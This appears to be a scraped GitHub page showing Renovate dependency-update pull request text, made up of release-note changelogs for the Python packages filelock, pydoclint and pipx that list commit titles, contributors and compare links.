[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#617](https://redirect.github.com/tox-dev/filelock/pull/617)
- ✨ feat(api): add context\_error\_policy for dual context failures by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#618](https://redirect.github.com/tox-dev/filelock/pull/618)
- 📝 docs: correct Unix lock-file cleanup and flock claims by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#623](https://redirect.github.com/tox-dev/filelock/pull/623)
- ✨ feat(api): add close\_error\_policy for post-unlock close errors by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#619](https://redirect.github.com/tox-dev/filelock/pull/619)
- 🐛 fix(api): canonicalize singleton keys without following a final
symlink by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#621](https://redirect.github.com/tox-dev/filelock/pull/621)
- ✨ feat(unix): add fallback\_to\_soft opt-out for native locks by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#622](https://redirect.github.com/tox-dev/filelock/pull/622)
- ✨ feat: add lock\_descriptor for a caller-owned descriptor by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#620](https://redirect.github.com/tox-dev/filelock/pull/620)
- ✨ feat(api): add preserve\_lock\_file to keep the lock pathname by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#624](https://redirect.github.com/tox-dev/filelock/pull/624)
- ✨ feat(api): add on\_acquired post-acquisition hook by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#625](https://redirect.github.com/tox-dev/filelock/pull/625)
- 🔧 build(release): towncrier changelog pipeline, backfill, and docs by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#626](https://redirect.github.com/tox-dev/filelock/pull/626)
- 📝 docs: drop bot entries and link code refs in the changelog by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#638](https://redirect.github.com/tox-dev/filelock/pull/638)
- 🐛 fix(api): validate lifetime values by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#644](https://redirect.github.com/tox-dev/filelock/pull/644)
- 🐛 fix(win32): capture process probe errors by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#645](https://redirect.github.com/tox-dev/filelock/pull/645)
- 🐛 fix(api): reject dropped lock options by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#646](https://redirect.github.com/tox-dev/filelock/pull/646)
- 🐛 fix(api): retain acquisition path identity by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#647](https://redirect.github.com/tox-dev/filelock/pull/647)
- 🐛 fix(api): detach grouped release errors by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#648](https://redirect.github.com/tox-dev/filelock/pull/648)
- 🐛 fix(descriptor): define unavailable behavior by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#650](https://redirect.github.com/tox-dev/filelock/pull/650)
- 🐛 fix(ci): map absolute coverage paths by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#651](https://redirect.github.com/tox-dev/filelock/pull/651)
- 🐛 fix(soft): relinquish fd before close by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#649](https://redirect.github.com/tox-dev/filelock/pull/649)
- 🐛 fix(async): make cancellation atomic by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#652](https://redirect.github.com/tox-dev/filelock/pull/652)
- 🐛 fix(sqlite): isolate forked connections by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#657](https://redirect.github.com/tox-dev/filelock/pull/657)
- 🧪 test(conftest): scope the close mock to one descriptor by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#656](https://redirect.github.com/tox-dev/filelock/pull/656)
- ✨ feat(soft): add strict soft locks and leases by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#658](https://redirect.github.com/tox-dev/filelock/pull/658)
- ✨ feat(strict): replace shared markers with owner claims by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#659](https://redirect.github.com/tox-dev/filelock/pull/659)
- 🐛 fix(soft): detect a reused PID via process start time by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#660](https://redirect.github.com/tox-dev/filelock/pull/660)
- 🔒 fix(soft): fail safe on transient heartbeat errors by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#661](https://redirect.github.com/tox-dev/filelock/pull/661)
- 📝 docs: state the lock trust boundaries once by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#663](https://redirect.github.com/tox-dev/filelock/pull/663)
- 👷 ci(perf): add the performance and NFS matrix by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#664](https://redirect.github.com/tox-dev/filelock/pull/664)
- Replace prettier with mdformat and yamlfmt by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#667](https://redirect.github.com/tox-dev/filelock/pull/667)
- 👷 ci(matrix): add SMB, capability, and matrix docs by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#665](https://redirect.github.com/tox-dev/filelock/pull/665)
**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.29.7...3.30.0>
</details>
<details>
<summary>jsh9/pydoclint (jsh9/pydoclint)</summary>
###
[`v0.9.1`](https://redirect.github.com/jsh9/pydoclint/blob/HEAD/CHANGELOG.md#091---2026-07-03)
[Compare
Source](https://redirect.github.com/jsh9/pydoclint/compare/0.9.0...0.9.1)
- Fixed
- Restored numpy docstring default checking with
`docstring_parser_fork==0.0.16`, which preserves raw parameter and
attribute type declarations while still exposing normalized type/default
fields
- Changed
- Replaced tox type checking from `mypy` with `ty` and fixed the
surfaced
typing issues with explicit type narrowing
- Run the `tox -e pydoclint` self-check against the local package
instead of
the latest published pydoclint release
- Updated Muff tooling to `0.15.20` and added a pre-commit hook to keep
the
tox Muff pins in sync with the `muff-pre-commit` revision
- Full diff
- <https://github.com/jsh9/pydoclint/compare/0.9.0...0.9.1>
###
[`v0.9.0`](https://redirect.github.com/jsh9/pydoclint/blob/HEAD/CHANGELOG.md#091---2026-07-03)
[Compare
Source](https://redirect.github.com/jsh9/pydoclint/compare/0.8.7...0.9.0)
- Fixed
- Restored numpy docstring default checking with
`docstring_parser_fork==0.0.16`, which preserves raw parameter and
attribute type declarations while still exposing normalized type/default
fields
- Changed
- Replaced tox type checking from `mypy` with `ty` and fixed the
surfaced
typing issues with explicit type narrowing
- Run the `tox -e pydoclint` self-check against the local package
instead of
the latest published pydoclint release
- Updated Muff tooling to `0.15.20` and added a pre-commit hook to keep
the
tox Muff pins in sync with the `muff-pre-commit` revision
- Full diff
- <https://github.com/jsh9/pydoclint/compare/0.9.0...0.9.1>
###
[`v0.8.7`](https://redirect.github.com/jsh9/pydoclint/blob/HEAD/CHANGELOG.md#090---2026-06-29)
[Compare
Source](https://redirect.github.com/jsh9/pydoclint/compare/0.8.6...0.8.7)
- Fixed
- A `DOC404` false positive for single-argument `Generator[YieldType]`
annotations, where pydoclint compared the docstring yield type with the
whole annotation instead of the generator yield type
- Return/yield handling for one- and two-argument `Generator[...]`
annotations so omitted return types default to `None` per PEP-696
- Full diff
- <https://github.com/jsh9/pydoclint/compare/0.8.7...0.9.0>
</details>
<details>
<summary>pypa/pipx (pipx)</summary>
###
[`v1.16.2`](https://redirect.github.com/pypa/pipx/releases/tag/1.16.2)
[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.16.1...1.16.2)
<!-- Release notes generated using configuration in .github/release.yml
at 1.16.2 -->
#### What's Changed
- 👷 ci: test against Python 3.15 beta by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[#​1971](https://redirect.github.com/pypa/pipx/pull/1971)
**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.16.1...1.16.2>
###
[`v1.16.1`](https://redirect.github.com/pypa/pipx/releases/tag/1.16.1)
[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.16.0...1.16.1)
<!-- Release notes generated using configuration in .github/release.yml
at 1.16.1 -->
#### What's Changed
- 📝 docs: strip the prompt from copied console snippets by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[#​1962](https://redirect.github.com/pypa/pipx/pull/1962)
- 🐛 fix: don't crash scanning a foreign binary in the bin dir by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[#​1970](https://redirect.github.com/pypa/pipx/pull/1970)
**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.16.0...1.16.1>
###
[`v1.16.0`](https://redirect.github.com/pypa/pipx/releases/tag/1.16.0)
[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.15.2...1.16.0)
<!-- Release notes generated using configuration in .github/release.yml
at 1.16.0 -->
##### What's Changed
- 📝 docs: restore the 1.16.0 changelog fragments by
[@​gaborbernat](https://redirect.github.com/gaborbernat) in
[#​1961](https://redirect.github.com/pypa/pipx/pull/1961)
**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.15.2...1.16.0>
###
[`v1.15.2`](https://redirect.github.com/pypa/pipx/releases/tag/1.15.2)
[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.15.1...1.15.2)
<!-- Release notes generated using configuration in .github/release.yml
at 1.15.2 -->
**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.15.1...1.15.2>
###
[`v1.15.1`](https://redirect.github.com/pypa/pipx/releases/tag/1.15.1)
[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.15.0...1.15.1)
<!-- Release notes generated using configuration in .github/release.yml
at 1.15.1 -->
#### What's Changed
- Keep trash cleanup non-fatal for locked files by
[@​cyphercodes](https://redirect.github.com/cyphercodes) in [#&
> ✂ **Note**
>
> PR body was truncated to here.
---------
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: ansibuddy <107943535+ansibuddy@users.noreply.github.com>
Co-authored-by: tanwigeetika1618 <tengverified@gmail.com>
Co-authored-by: tanwigeetika1618 <84617407+tanwigeetika1618@users.noreply.github.com>
This was referenced Aug 26, 2026
parthea
pushed a commit
to googleapis/google-cloud-python
that referenced
this pull request
Oct 13, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `==3.29.0` → `==4.1.1` |  |  | --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v4.1.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.1.1) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.1.0...4.1.1) <!-- Release notes generated using configuration in .github/release.yaml at 4.1.1 --> #### What's Changed - feat(python): default to Python 3.15 by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#816](https://redirect.github.com/tox-dev/filelock/pull/816) - fix(rw): avoid macOS descriptor lookups by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#820](https://redirect.github.com/tox-dev/filelock/pull/820) - fix(tests): bound concurrent lock progress by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#819](https://redirect.github.com/tox-dev/filelock/pull/819) - test: make lock error checks deterministic by [@​adenzhou1350](https://redirect.github.com/adenzhou1350) in [tox-dev/filelock#817](https://redirect.github.com/tox-dev/filelock/pull/817) - fix(read-write): reject a hostile pid in \_owner_is_gone by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#821](https://redirect.github.com/tox-dev/filelock/pull/821) #### New Contributors - [@​adenzhou1350](https://redirect.github.com/adenzhou1350) made their first contribution in [tox-dev/filelock#817](https://redirect.github.com/tox-dev/filelock/pull/817) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.1.0...4.1.1> ### [`v4.1.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.1.0) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.12...4.1.0) <!-- Release notes generated using configuration in .github/release.yaml at 4.1.0 --> #### What's Changed - ci: download coverage during tool setup by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#776](https://redirect.github.com/tox-dev/filelock/pull/776) - 🐛 fix(api): validate timeout and poll_interval bounds by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#781](https://redirect.github.com/tox-dev/filelock/pull/781) - 🐛 fix(read-write): accept inf and reject nan timeouts by [@​darrenhuai](https://redirect.github.com/darrenhuai) in [tox-dev/filelock#779](https://redirect.github.com/tox-dev/filelock/pull/779) - 🐛 fix(soft-rw): ignore non-ASCII generation names by [@​dxbjavid](https://redirect.github.com/dxbjavid) in [tox-dev/filelock#778](https://redirect.github.com/tox-dev/filelock/pull/778) - 🐛 fix(soft): check start token in is_lock_held_by_us by [@​lprnmns](https://redirect.github.com/lprnmns) in [tox-dev/filelock#774](https://redirect.github.com/tox-dev/filelock/pull/774) - 🐛 fix(soft): clean up marker when rollback close fails by [@​harbinresearcher](https://redirect.github.com/harbinresearcher) in [tox-dev/filelock#775](https://redirect.github.com/tox-dev/filelock/pull/775) - 🐛 fix(read-write): clamp waits to threading.TIMEOUT_MAX by [@​darrenhuai](https://redirect.github.com/darrenhuai) in [tox-dev/filelock#780](https://redirect.github.com/tox-dev/filelock/pull/780) - 🐛 fix(soft): treat truncated markers as malformed by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#782](https://redirect.github.com/tox-dev/filelock/pull/782) - 🐛 fix(acquire): keep every acquire wait within the timeout by [@​feiiiiii5](https://redirect.github.com/feiiiiii5) in [tox-dev/filelock#777](https://redirect.github.com/tox-dev/filelock/pull/777) - 📝 docs: fix hanging example and platform claims by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#783](https://redirect.github.com/tox-dev/filelock/pull/783) - 🐛 fix(unix): keep peer marker on ENOSYS fallback by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#785](https://redirect.github.com/tox-dev/filelock/pull/785) - 🐛 fix(async): clear the task hold after a canceled release by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#789](https://redirect.github.com/tox-dev/filelock/pull/789) - ✨ feat(api): export lease types and has_fcntl by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#790](https://redirect.github.com/tox-dev/filelock/pull/790) - 🐛 fix(strict): age private records by the filesystem clock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#792](https://redirect.github.com/tox-dev/filelock/pull/792) - 🐛 fix(async): surface executor shutdown as an error by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#793](https://redirect.github.com/tox-dev/filelock/pull/793) - 🐛 fix(soft): expire leases on the contender's clock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#796](https://redirect.github.com/tox-dev/filelock/pull/796) - 🐛 fix(soft-rw): stop an acquire that close() overtook by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#798](https://redirect.github.com/tox-dev/filelock/pull/798) - 🐛 fix(strict): record claims before linking them by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#787](https://redirect.github.com/tox-dev/filelock/pull/787) - 🐛 fix(soft): restore a live marker a stale break moved aside by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#786](https://redirect.github.com/tox-dev/filelock/pull/786) - 🐛 fix(api): chain errors on 3.10 without exceptiongroup by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#788](https://redirect.github.com/tox-dev/filelock/pull/788) - 🐛 fix(soft): release a dropped SoftFileLease by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#791](https://redirect.github.com/tox-dev/filelock/pull/791) - 🐛 fix(read-write): keep probe fds until the last connection closes by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#794](https://redirect.github.com/tox-dev/filelock/pull/794) - 📦 build(sdist): ship docs and update SECURITY.md by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#812](https://redirect.github.com/tox-dev/filelock/pull/812) - 🐛 fix(soft-rw): survive a removed generation log by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#795](https://redirect.github.com/tox-dev/filelock/pull/795) - 🐛 fix(soft): tell PID namespaces apart in the marker host by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#797](https://redirect.github.com/tox-dev/filelock/pull/797) - 🐛 fix(async): release from the finalizer and keep I/O off the loop by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#800](https://redirect.github.com/tox-dev/filelock/pull/800) - 🐛 fix(strict): name what blocks the lock path by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#804](https://redirect.github.com/tox-dev/filelock/pull/804) - 🐛 fix(read-write): reject WAL databases and link beside the db by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#805](https://redirect.github.com/tox-dev/filelock/pull/805) - 🐛 fix(read-write): track read depth per thread by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#806](https://redirect.github.com/tox-dev/filelock/pull/806) - 🐛 fix(soft): honour mode and tighten marker grammar by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#807](https://redirect.github.com/tox-dev/filelock/pull/807) - 🧪 test: drop timing races from two runner-load flakes by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#809](https://redirect.github.com/tox-dev/filelock/pull/809) - 🐛 fix(descriptor): reject poll intervals above TIMEOUT_MAX by [@​sricharanreddycheruku](https://redirect.github.com/sricharanreddycheruku) in [tox-dev/filelock#802](https://redirect.github.com/tox-dev/filelock/pull/802) - 🐛 fix(api): validate lock options up front by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#803](https://redirect.github.com/tox-dev/filelock/pull/803) - 🐛 fix(soft-rw): publish the head through gen/HEAD by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#799](https://redirect.github.com/tox-dev/filelock/pull/799) - 🐛 fix(api): release thread holds, guard reentry by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#810](https://redirect.github.com/tox-dev/filelock/pull/810) - 🧪 test(lease): give the age-out test a real-time margin by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#814](https://redirect.github.com/tox-dev/filelock/pull/814) - 📝 docs: point canonical and og:url at versioned pages by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#813](https://redirect.github.com/tox-dev/filelock/pull/813) - 🐛 fix(read-write): refuse a database moved mid-acquire by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#808](https://redirect.github.com/tox-dev/filelock/pull/808) - 🐛 fix: close regressions since 4.0.12 by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#815](https://redirect.github.com/tox-dev/filelock/pull/815) #### New Contributors - [@​darrenhuai](https://redirect.github.com/darrenhuai) made their first contribution in [tox-dev/filelock#779](https://redirect.github.com/tox-dev/filelock/pull/779) - [@​harbinresearcher](https://redirect.github.com/harbinresearcher) made their first contribution in [tox-dev/filelock#775](https://redirect.github.com/tox-dev/filelock/pull/775) - [@​sricharanreddycheruku](https://redirect.github.com/sricharanreddycheruku) made their first contribution in [tox-dev/filelock#802](https://redirect.github.com/tox-dev/filelock/pull/802) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.12...4.1.0> ### [`v4.0.12`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.12) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.11...4.0.12) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.12 --> #### What's Changed - fix: support older SQLite read locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#771](https://redirect.github.com/tox-dev/filelock/pull/771) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.11...4.0.12> ### [`v4.0.11`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.11) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.10...4.0.11) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.11 --> #### What's Changed - docs: select an existing tox environment in contributing guide by [@​raghav-sharma-ai](https://redirect.github.com/raghav-sharma-ai) in [tox-dev/filelock#767](https://redirect.github.com/tox-dev/filelock/pull/767) - fix(read-write): handle NetBSD fd limits by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#768](https://redirect.github.com/tox-dev/filelock/pull/768) #### New Contributors - [@​raghav-sharma-ai](https://redirect.github.com/raghav-sharma-ai) made their first contribution in [tox-dev/filelock#767](https://redirect.github.com/tox-dev/filelock/pull/767) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.10...4.0.11> ### [`v4.0.10`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.10) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.9...4.0.10) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.10 --> #### What's Changed - ♻️ refactor(util): test helpers via public locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#764](https://redirect.github.com/tox-dev/filelock/pull/764) - 🐛 fix(singleton): reject conflicting async and lease options by [@​kokotatan](https://redirect.github.com/kokotatan) in [tox-dev/filelock#765](https://redirect.github.com/tox-dev/filelock/pull/765) #### New Contributors - [@​kokotatan](https://redirect.github.com/kokotatan) made their first contribution in [tox-dev/filelock#765](https://redirect.github.com/tox-dev/filelock/pull/765) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.9...4.0.10> ### [`v4.0.9`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.9) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.8...4.0.9) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.9 --> #### What's Changed - 📝 docs(util): correct write and break guarantees by [@​pralav-25](https://redirect.github.com/pralav-25) in [tox-dev/filelock#762](https://redirect.github.com/tox-dev/filelock/pull/762) - 🐛 fix(read-write): close db fd after connect by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#763](https://redirect.github.com/tox-dev/filelock/pull/763) #### New Contributors - [@​pralav-25](https://redirect.github.com/pralav-25) made their first contribution in [tox-dev/filelock#762](https://redirect.github.com/tox-dev/filelock/pull/762) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.8...4.0.9> ### [`v4.0.8`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.8) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.7...4.0.8) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.8 --> #### What's Changed - 🐛 fix(read-write): refuse cross-thread write release by [@​feiiiiii5](https://redirect.github.com/feiiiiii5) in [tox-dev/filelock#761](https://redirect.github.com/tox-dev/filelock/pull/761) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.7...4.0.8> ### [`v4.0.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.6...4.0.7) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.7 --> #### What's Changed - 🐛 fix(mode): require owner read and write by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#760](https://redirect.github.com/tox-dev/filelock/pull/760) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.6...4.0.7> ### [`v4.0.6`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.6) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.5...4.0.6) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.6 --> #### What's Changed - fix(read-write): validate reentrant timeouts by [@​feiiiiii5](https://redirect.github.com/feiiiiii5) in [tox-dev/filelock#756](https://redirect.github.com/tox-dev/filelock/pull/756) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.5...4.0.6> ### [`v4.0.5`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.5) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.4...4.0.5) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.5 --> #### What's Changed - fix(marker): preserve live owners by [@​DawnofGenX](https://redirect.github.com/DawnofGenX) in [tox-dev/filelock#751](https://redirect.github.com/tox-dev/filelock/pull/751) - fix(tests): separate mode and access checks by [@​pasmud](https://redirect.github.com/pasmud) in [tox-dev/filelock#753](https://redirect.github.com/tox-dev/filelock/pull/753) - fix(read-write): honor instance defaults by [@​DawnofGenX](https://redirect.github.com/DawnofGenX) in [tox-dev/filelock#752](https://redirect.github.com/tox-dev/filelock/pull/752) - fix(async): validate blocking read-write timeouts by [@​pasmud](https://redirect.github.com/pasmud) in [tox-dev/filelock#755](https://redirect.github.com/tox-dev/filelock/pull/755) - fix(strict): handle vanished unreadable claims by [@​januththedev](https://redirect.github.com/januththedev) in [tox-dev/filelock#754](https://redirect.github.com/tox-dev/filelock/pull/754) #### New Contributors - [@​DawnofGenX](https://redirect.github.com/DawnofGenX) made their first contribution in [tox-dev/filelock#751](https://redirect.github.com/tox-dev/filelock/pull/751) - [@​pasmud](https://redirect.github.com/pasmud) made their first contribution in [tox-dev/filelock#753](https://redirect.github.com/tox-dev/filelock/pull/753) - [@​januththedev](https://redirect.github.com/januththedev) made their first contribution in [tox-dev/filelock#754](https://redirect.github.com/tox-dev/filelock/pull/754) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.4...4.0.5> ### [`v4.0.4`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.4) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.3...4.0.4) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.4 --> #### What's Changed - 🐛 fix(identity): digest the cut tail of long hostnames by [@​feiiiiii5](https://redirect.github.com/feiiiiii5) in [tox-dev/filelock#748](https://redirect.github.com/tox-dev/filelock/pull/748) #### New Contributors - [@​feiiiiii5](https://redirect.github.com/feiiiiii5) made their first contribution in [tox-dev/filelock#748](https://redirect.github.com/tox-dev/filelock/pull/748) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.3...4.0.4> ### [`v4.0.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.3) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.2...4.0.3) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.3 --> #### What's Changed - 🐛 fix(api): skip the fork audit hook on CPython <3.12 by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#747](https://redirect.github.com/tox-dev/filelock/pull/747) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.2...4.0.3> ### [`v4.0.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.1...4.0.2) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.2 --> #### What's Changed - docs: create the data directory in the async cache example by [@​agammann](https://redirect.github.com/agammann) in [tox-dev/filelock#740](https://redirect.github.com/tox-dev/filelock/pull/740) - fix: ignore broken sphinx-llm release by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#742](https://redirect.github.com/tox-dev/filelock/pull/742) - 🐛 fix(api): serialize concurrent transitions on shared locks by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#745](https://redirect.github.com/tox-dev/filelock/pull/745) - 🐛 fix(async-rw): give each task its own hold by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#746](https://redirect.github.com/tox-dev/filelock/pull/746) #### New Contributors - [@​agammann](https://redirect.github.com/agammann) made their first contribution in [tox-dev/filelock#740](https://redirect.github.com/tox-dev/filelock/pull/740) **Full Changelog**: <https://github.com/tox-dev/filelock/compare/4.0.1...4.0.2> ### [`v4.0.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/4.0.1) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/4.0.0...4.0.1) <!-- Release notes generated using configuration in .github/release.yaml at 4.0.1 --> #### What's Changed - fix: reject invalid poll_interval before sleep by [@​Pitchfork-and-Torch](https://redirect.github.com/Pitchfork-and-Torch) in [tox-dev/filelock#739](https://redirect.github.com/tox-dev/filelock/pull/739) #### New Contributors - 